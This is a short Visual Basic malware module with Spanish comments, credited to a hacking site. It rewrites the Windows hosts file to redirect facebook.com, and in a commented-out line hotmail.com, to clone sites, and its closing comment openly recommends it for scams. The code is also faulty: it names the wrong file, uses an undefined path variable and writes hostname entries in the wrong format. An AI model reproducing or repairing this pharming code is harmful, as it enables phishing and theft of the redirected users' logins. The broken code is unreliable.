HostEditModule by alexander1712

'###################################################################
'
'  ####  ####   ####   ####  ####    ##   ##     ## ##     ## #### ####
'  #   # #   # #    # #      #   #  #  #  # #   # # # #   # # #    #   #
'  #   # #   # #    # #      #   # #    # #  ###  # #  ###  # #    #   #
'  ####  ####  #    # #  ##  ####  ###### #   #   # #   #   # #### #   #
'  #     ##    #    # #    # ##    #    # #       # #       # #    #   #
'  #     # #   #    # #    # # #   #    # #       # #       # #    #   #
'  #     #  #   ####   ####  #  #  #    # #       # #       # #### ####
'
'  #####    ##    ##
'  #    #    #    #
'  #    #     #  #
'  #####       ##
'  #    #      ##
'  #    #      ##
'  #####      ####
'
' ##    ##    #     ####  ##    ##  #####   #     ## #     ## #####  #     ##
'  #    #    # #    #   #  #   #   #     #  ##    #  ##    #  #      ##    #
'  #    #   #   #   #   #  #  #    #     #  # #   #  # #   #  #      # #   #
'  ######   #####   ####   ###     #     #  #  #  #  #  #  #  #####  #  #  #
'  #    #   #   #   ##     #  #    #     #  #   # #  #   # #  #      #   # #
'  #    #   #   #   # #    #   #   #     #  #    ##  #    ##  #      #    ##
' ##    ## ##   ## ##  ## ##    ##  #####  ##     # ##     #  ##### ##     #
'
'#####################################################################

'###########################
'#  HostEditModule         #
'# programmed by harkonnen #
'#    INFIERNOHACKER.COM   #
'# (c) 2011                #
'###########################

' &&& detalles &&&

' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
' para ello editaremos el archivo HOST de windows.
' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir

'########### constantes ########
Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
'Const initialpage2 = "hotmail.com"
Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
'const replacepage2 = "hotmail.clonesweb.com"

Public Sub main() 'iniciamos programa
Dim inmemory As String
Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
alex = FreeFile 'aclaramos que alex sera para libre archivo
    Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
        inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
    Close #alex 'cerramos e archivo que estaba habierto en la variable alex
inmemory = inmemory & replacepage1 & "    " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
'inmemory = inmemory & replacepage2 & "    " & initialpage2 & vbCrLf ' la segunda redireccion
    Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
        Print #alex, inmemory 'ponemos el archivo modificado
    Close #alex 'cerramos guardando todo.
'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
End Sub